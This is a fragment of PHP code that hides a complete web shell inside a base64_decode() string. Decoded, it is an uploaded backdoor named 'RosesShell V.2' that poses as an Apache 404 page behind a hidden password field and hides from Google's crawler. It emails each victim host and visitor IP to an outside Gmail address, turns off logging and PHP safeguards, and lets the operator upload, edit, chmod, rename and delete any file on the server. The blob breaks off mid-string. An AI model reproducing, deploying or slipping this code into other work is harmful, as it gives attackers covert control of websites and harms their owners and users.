".base64_decode("PD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18pOwokYXV0aF9wYXNzID0KIjk3NzJiYjZjOGNhMmIzYTM1NDMwY2Y5Mzg4MjZmNjJlIjsKJGNvb2tpZV9ob3VyX2V4cGlyZSA9IDI0OwppZiAoc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ0dvb2dsZScpICE9PSBmYWxzZSkgewogICAgaGVhZGVyKCdIVFRQLzEuMCA0MDMgRk9SQklEREVOJyk7CiAgICBleGl0Owp9CmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IAo/Pgo8P3BocAppZigkX0dFVFsncGVqdWFuZyddID09ICdyb3NvJykKewplY2hvICI8Yj4iLnBocF91bmFtZSgpLiI8L2I+PGJyPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+CgkgIDxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+CgkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3VwbG9hZCcgdmFsdWU9J3VwbG9hZCc+CgkgIDwvZm9ybT4iOwokcm9vdCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CiRmaWxlcyA9ICRfRklMRVNbJ2lkeF9maWxlJ11bJ25hbWUnXTsKJGRlc3QgPSAkcm9vdC4nLycuJGZpbGVzOwppZihpc3NldCgkX1BPU1RbJ3VwbG9hZCddKSkgewoJaWYoaXNfd3JpdGFibGUoJHJvb3QpKSB7CgkJaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJGRlc3QpKSB7CgkJCSR3ZWIgPSAiaHR0cDovLyIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIvIjsKCQkJZWNobyAic3Vrc2VzIHVwbG9hZCAtPiA8YSBocmVmPSckd2ViLyRmaWxlcycgdGFyZ2V0PSdfYmxhbmsnPjxiPjx1PiR3ZWIvJGZpbGVzPC91PjwvYj48L2E+IjsKCQl9IGVsc2UgewoJCQllY2hvICJnYWdhbCB1cGxvYWQgZGkgZG9jdW1lbnQgcm9vdC4iOwoJCX0KCX0gZWxzZSB7CgkJaWYoQGNvcHkoJF9GSUxFU1snaWR4X2ZpbGUnXVsndG1wX25hbWUnXSwgJGZpbGVzKSkgewoJCQllY2hvICJzdWtzZXMgdHVzYm9sIDxiPiRmaWxlczwvYj4gZGkgZm9sZGVyIGluaSI7CgkJfSBlbHNlIHsKCQkJZWNobyAiZ2FnYWwgdXBsb2FkIGdhZ2FsIG5nZW50b2QgISI7CgkJfQoJfQp9Cn0KPz4KPD9waHAKJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwoka2VuID0gcmFuZCgxLCA5OTk5OSk7CiRzdWJqOTggPSAiIFJlc3VsdCBzaGVsbCBhZHNlbnNlIGJvc2t1ICEgfCRrZW4iOwokZW1haWwgPSAia2FwdXl1YWtibGN0QGdtYWlsLmNvbSI7CiRmcm9tID0gIkZyb206IGthcHV5dWFrYmxjdEBnbWFpbC5jb20iOwokdG90ID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRrb24gPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiR0b2wgPSAkaXAgLiAiIjsKJG1zZzg4NzMgPSAiJHRvdCAka29uICR0b2wiOwptYWlsKCRlbWFpbCwgJHN1Ymo5OCwgJG1zZzg4NzMsICRmcm9tKTsgCj8+CjxodG1sPjxoZWFkPgo8c2NyaXB0IGFzeW5jIHNyYz0iLy9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgogICAgIChhZHNieWdvb2dsZSA9IHdpbmRvdy5hZHNieWdvb2dsZSB8fCBbXSkucHVzaCh7CiAgICAgICAgICBnb29nbGVfYWRfY2xpZW50OiAiY2EtcHViLTE2OTg0Mjg2MTQwNzQxNzciLAogICAgICAgICAgZW5hYmxlX3BhZ2VfbGV2ZWxfYWRzOiB0cnVlCiAgICAgfSk7Cjwvc2NyaXB0Pgo8aGVhZD4KPHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjwvaGVhZD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoKZnVuY3Rpb24gYWRkRXZlbnQob2JqLCBldmVudE5hbWUsIGZ1bmMpewoKaWYgKG9iai5hdHRhY2hFdmVudCkgewoKb2JqLmF0dGFjaEV2ZW50KCJvbiIgKyBldmVudE5hbWUsIGZ1bmMpOwoKfSBlbHNlIGlmKG9iai5hZGRFdmVudExpc3RlbmVyKQoKeyBvYmouYWRkRXZlbnRMaXN0ZW5lcihldmVudE5hbWUsIGZ1bmMsIHRydWUpOwoKfSBlbHNlCgp7IG9ialsib24iICsgZXZlbnROYW1lXSA9IGZ1bmM7Cgp9Cgp9IGFkZEV2ZW50KHdpbmRvdywgImxvYWQiLCBmdW5jdGlvbihlKXsKCmFkZEV2ZW50KGRvY3VtZW50LmJvZHksICJjbGljayIsIGZ1bmN0aW9uKGUpCgp7IGlmKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCJzY3Q9c2hwIikgPT0gLTEpCgp7Cgp2YXIgdyA9IHdpbmRvdy5vcGVuKCdsaW5rIHRhcmdldCcsJ2hlaWdodD0xMCwgd2lkdGg9MTAsIHRvcD0xOTAwLCBsZWZ0PTE5MDAsIHNjcm9sbGJhcnM9eWVzJykKCmRvY3VtZW50LmNvb2tpZSA9ICJzY3Q9IiJ3d3cucGVqdWFuZ3Jvc28ub3JnIjsKCndpbmRvdy5mb2N1cygpOyDCoCDCoCDCoCDCoCDCoCDCoCDCoCB9IMKgIMKgIMKgIMKgIMKgfSk7IMKgIMKgIMKgfSk7Cgo8L3NjcmlwdD4KPHN0eWxlPiAKaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IAo8L3N0eWxlPiAKPGJvZHk+CjxoMT5Ob3QgRm91bmQ8L2gxPgo8cD48PyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/PjwvcD4KPHA+Tm90IEZvdW5kPC9oMT48cD5UaGUgcmVxdWVzdGVkIFVSTCAgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+PHA+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmRlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC4KPGhyPiAKPGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCA8Pz0kX1NFUlZFUlsnSFRUUF9IT1NUJ10/PiBQb3J0IDgwPC9hZGRyZXNzPiAKPGZvcm0gbWV0aG9kPXBvc3Q+CjxhZGRyZXNzPjw/PSRfU0VSVkVSWydTRVJWRVJfU0lHTkFUVVJFJ10gPz48Y2VudGVyPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9eD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jyc+PC9jZW50ZXI+PC9hZGRyZXNzPgo8L2Zvcm0+PC9ib2R5PjwvaHRtbD4KPD9waHAKICAgIGV4aXQ7Cn0KJGNvb2tpZV92YWx1ZSA9IG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiZG0iIC4gJGF1dGhfcGFzcyk7CmlmIChpc3NldCgkX1BPU1RbJ3gnXSkpIHsKICAgIGlmIChtZDUoJF9QT1NUWyd4J10pICE9ICRhdXRoX3Bhc3MpIHsKICAgICAgICBwcmludExvZ2luKCk7CiAgICB9IGVsc2UgewogICAgICAgIHNldGNvb2tpZSgiZG0iLCAkY29va2llX3ZhbHVlLCB0aW1lKCkgKyAoNjAgKiAoNjAgKiAkY29va2llX2hvdXJfZXhwaXJlKSkpOwogICAgfQp9IGVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ2RtJ10pKSB7CiAgICBpZiAoJF9DT09LSUVbJ2RtJ10gIT0gJGNvb2tpZV92YWx1ZSkgewogICAgICAgIHByaW50TG9naW4oKTsKICAgIH0KfSBlbHNlaWYgKCFpc3NldCgkX0NPT0tJRVsnZG0nXSkpIHsKICAgIHByaW50TG9naW4oKTsKfQppZiAoaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsKICAgIHNldGNvb2tpZSgiZG0iLCAiIiwgdGltZSgpIC0gKDYwICogKDYwICogNjAgKiAzNjAwMDApKSk7CiAgICAkcGFnZSA9ICRob3N0ID0gJ2h0dHA6Ly8nIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAnLycgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKICAgIGVjaG8gJzxjZW50ZXI+PHNwYW4gY2xhc3M9ImIxIj4gUGxlYXNlIFdhaXQgLi4uPC9zY2FuPjwvY2VudGVyPic7Cj8+CjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLmhyZWYgPSAnPD9waHAgcHJpbnQgJHBhZ2U7ID8+Jzs8L3NjcmlwdD4KPD9waHAgZXhpdCgwKTsKfQpAc2V0X3RpbWVfbGltaXQoMCk7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsKQGlnbm9yZV91c2VyX2Fib3J0KEZBTFNFKTsKQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOwpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7CkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7CkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7CkBpbmlfc2V0KCd6bGliLm91dHB1dF9jb21wcmVzc2lvbicsICdPZmYnKTsKJHBhZ2VVUkwgPSAnaHR0cDovLycuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07CiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VVUkwgKTsKJHBhZ2VVUkwgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZVVSTCApOwoKJHBhZ2VGVFAgPSAnZnRwOi8vJy4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4nL3B1YmxpY19odG1sLycuJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07CiR1ID0gZXhwbG9kZSgiLyIsJHBhZ2VGVFAgKTsKJHBhZ2VGVFAgPXN0cl9yZXBsYWNlKCR1W2NvdW50KCR1KS0xXSwiIiwkcGFnZUZUUCApOwoKCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewpmb3JlYWNoKCRfUE9TVCBhcyAka2V5PT4kdmFsdWUpewokX1BPU1RbJGtleV0gPSBzdHJpcHNsYXNoZXMoJHZhbHVlKTsKfQp9ZWNobyAnPCFET0NUWVBFIEhUTUw+CjxodG1sPgo8aGVhZD4KPGxpbmsgaHJlZj0iIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUFyY2hpdGVjdHMrRGF1Z2h0ZXIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8dGl0bGU+Um9zZXNTaGVsbCBWLjI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7CmZvbnQtZmFtaWx5OiBjb3VyaWVyIG5ldzsKYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7CmNvbG9yOnJlZDsKPGJvZHkgYmFja2dyb3VuZD0iaHR0cHM6Ly8yLmJwLmJsb2dzcG90LmNvbS8tWkxSUnE0VlhSdGsvVzhpWVI4X1VKM0kvQUFBQUFBQUFBSDQvT1J3MEMxRFlSdXNOMkxnUGJKVVpucDVRYjlYMkYyNDVBQ0xjQkdBcy9zMTYwMC9GQl9JTUdfMTUzOTc3ODE3Nzc3NjQ2NTcuanBnIj47Cn0KI2NvbnRlbnQgdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6IGJsYWNrOwp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsKfQojY29udGVudCAuZmlyc3R7CmJhY2tncm91bmQtY29sb3I6IGJsYWNrOwp9CnRhYmxlewpib3JkZXI6IDFweCAjMDAwMDAwIGRvdHRlZDsKfQphewpjb2xvcjpsYXZlbmRlcjsKdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6aG92ZXJ7CmNvbG9yOmxhdmVuZGVyOwp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsKfQppbnB1dCxzZWxlY3QsdGV4dGFyZWF7CmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7Ci1tb3otYm9yZGVyLXJhZGl1czogNXB4Owotd2Via2l0LWJvcmRlci1yYWRpdXM6NXB4Owpib3JkZXItcmFkaXVzOjVweDsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8L3N0eWxlPgo8L2hlYWQ+CjxoMT48Y2VudGVyPjxmb250IGNvbG9yPSJsYXZlbmRlciI+Um9zZXN3aWx0ZWQgTWluaSBTaGVsbCB2MjwvZm9udD48L2NlbnRlcj48L2gxPgo8dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHI+PHRkPjxmb250IGNvbG9yPSJsaW1lIj5Mb2thc2kgTHUgOjwvZm9udD4gJzsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewokcGF0aCA9ICRfR0VUWydwYXRoJ107Cn1lbHNlewokcGF0aCA9IGdldGN3ZCgpOwp9CiRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwokcGF0aHMgPSBleHBsb2RlKCcvJywkcGF0aCk7Cgpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewppZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKJGEgPSB0cnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CmNvbnRpbnVlOwp9CmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0nOwpmb3IoJGk9MDskaTw9JGlkOyRpKyspewplY2hvICIkcGF0aHNbJGldIjsKaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9hPi8nOwp9CmVjaG8gJzwvdGQ+PC90cj48dHI+PHRkPic7CmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9ImxpbWUiPlVwbG9hZCBGaWxlIEJlcmhhc2lsPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5VcGxvYWQgRmlsZSBHYWdhbDwvZm9udD48YnIvPic7Cn0KfQplY2hvICc8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPgo8Zm9udCBjb2xvcj0ibGF2ZW5kZXIiPlVwbG9hZCBEaXNpbmk6PC9mb250PiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IktsaWsgVXBsb2FkIiAvPgo8L2Zvcm0+CjwvdGQ+PC90cj4nOwppZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CmVjaG8gIjx0cj48dGQ+Q3VycmVudCBGaWxlIDogIjsKZWNobyAkX0dFVFsnZmlsZXNyYyddOwplY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwplY2hvKCc8cHJlPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvcHJlPicpOwp9ZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSAhPSAnZGVsZXRlJyl7CmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOwppZigkX1BPU1RbJ29wdCddID09ICdjSG1vZCcpewppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpewppZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkX1BPU1RbJ3Blcm0nXSkpewplY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+Q2hhbmdlIFBlcm1pc3Npb24gQmVyaGFzaWw8L2ZvbnQ+PGJyLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gR2FnYWw8L2ZvbnQ+PGJyIC8+JzsKfQp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+ClBlcm1pc3Npb24gOiA8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+CjwvZm9ybT4nOwp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpewppZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewppZihyZW5hbWUoJF9QT1NUWydwYXRoJ10sJHBhdGguJy8nLiRfUE9TVFsnbmV3bmFtZSddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJsaW1lIj5SZW5hbWUgRGlyIEJlcmhhc2lwIDwvZm9udD48YnIvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5SZW5hbWUgRGlyIEdhZ2FsPC9mb250PjxiciAvPic7Cn0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpOZXcgTmFtZSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4KPC9mb3JtPic7Cn1lbHNlaWYoJF9QT1NUWydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+UmVuYW1lIEZpbGUgQmVyaGFzaWw8L2ZvbnQ+PGJyLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9InJlZCI+UmVuYW1lIEZpbGUgR2FnYWw8L2ZvbnQ+PGJyLz4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2F2ZSIgLz4KPC9mb3JtPic7Cn0KZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CmVjaG8gJzwvdGFibGU+PGJyLz48Y2VudGVyPic7CmlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9QT1NUWydvcHQnXSA9PSAnZGVsZXRlJyl7CmlmKCRfUE9TVFsndHlwZSddID09ICdkaXInKXsKaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9ImxpbWUiPkRpciBCZXJoYXNpbCBEaSBIYXB1czwvZm9udD48YnIvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5EaXIgR2FnYWwgRGkgSGFwdXM8L2ZvbnQ+PGJyLz4nOwp9Cn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJsaW1lIj5GaWxlIEJlcmhhc2lsIERpIEhhcHVzPC9mb250Pjxici8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkZpbGUgR2FnYWwgRGkgSGFwdXM8L2ZvbnQ+PGJyLz4nOwp9Cn0KfQplY2hvICc8L2NlbnRlcj4nOwokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOwplY2hvICc8ZGl2IGlkPSJjb250ZW50Ij48dGFibGUgd2lkdGg9IjcwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgo8dHIgY2xhc3M9ImZpcnN0Ij4KPHRkPjxjZW50ZXI+TmFtZTwvcGVsbGVyPjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPlNpemU8L3BlbGxlcj48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj5QZXJtaXNzaW9uPC9wZWxsZXI+PC9jZW50ZXI+PC90ZD4KPHRkPjxjZW50ZXI+TW9kaWZpS2FTaTwvcGVsbGVyPjwvY2VudGVyPjwvdGQ+CjwvdHI+JzsKCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7CmlmKCFpc19kaXIoJHBhdGguJy8nLiRkaXIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gJzx0cj4KPHRkPjxhIGhyZWY9Ij9wYXRoPScuJHBhdGguJy8nLiRkaXIuJyI+Jy4kZGlyLic8L2E+PC90ZD4KPHRkPjxjZW50ZXI+LS08L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4nOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikpIGVjaG8gJzxmb250IGNvbG9yPSJsaW1lIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KPHNlbGVjdCBuYW1lPSJvcHQiPgo8b3B0aW9uIHZhbHVlPSIiPlNlbGVjdDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJEZWxldGUiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJDaG1vZCI+Q2hNb2Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iUmVuYW1lIj5SZW5hTWU8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJkaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZGlyLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0aC4nLycuJGRpci4nIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4nOwp9CmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsKZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CmlmKCFpc19maWxlKCRwYXRoLicvJy4kZmlsZSkpIGNvbnRpbnVlOwokc2l6ZSA9IGZpbGVzaXplKCRwYXRoLicvJy4kZmlsZSkvMTAyNDsKJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsKaWYoJHNpemUgPj0gMTAyNCl7CiRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKfWVsc2V7CiRzaXplID0gJHNpemUuJyBLQic7Cn0KCmVjaG8gJzx0cj4KPHRkPjxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRoLiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQ+PGNlbnRlcj4nLiRzaXplLic8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4nOwppZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+JzsKZWxzZWlmKCFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwplY2hvIHBlcm1zKCRwYXRoLicvJy4kZmlsZSk7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZmlsZSkgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8gJzwvZm9udD4nOwplY2hvICc8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP29wdGlvbiZwYXRoPScuJHBhdGguJyI+CjxzZWxlY3QgbmFtZT0ib3B0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9kPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImVkaXQiPkVkaXQ8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJmaWxlIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibmFtZSIgdmFsdWU9IicuJGZpbGUuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4nOwp9CmVjaG8gJzwvdGFibGU+CjwvZGl2Pic7Cn0KZWNobyAnPGNlbnRlcj48YnIvPkNvcHlyaWdodCAuL1BlanVhbmdSb3NvIDJrMTggPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPic7CmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3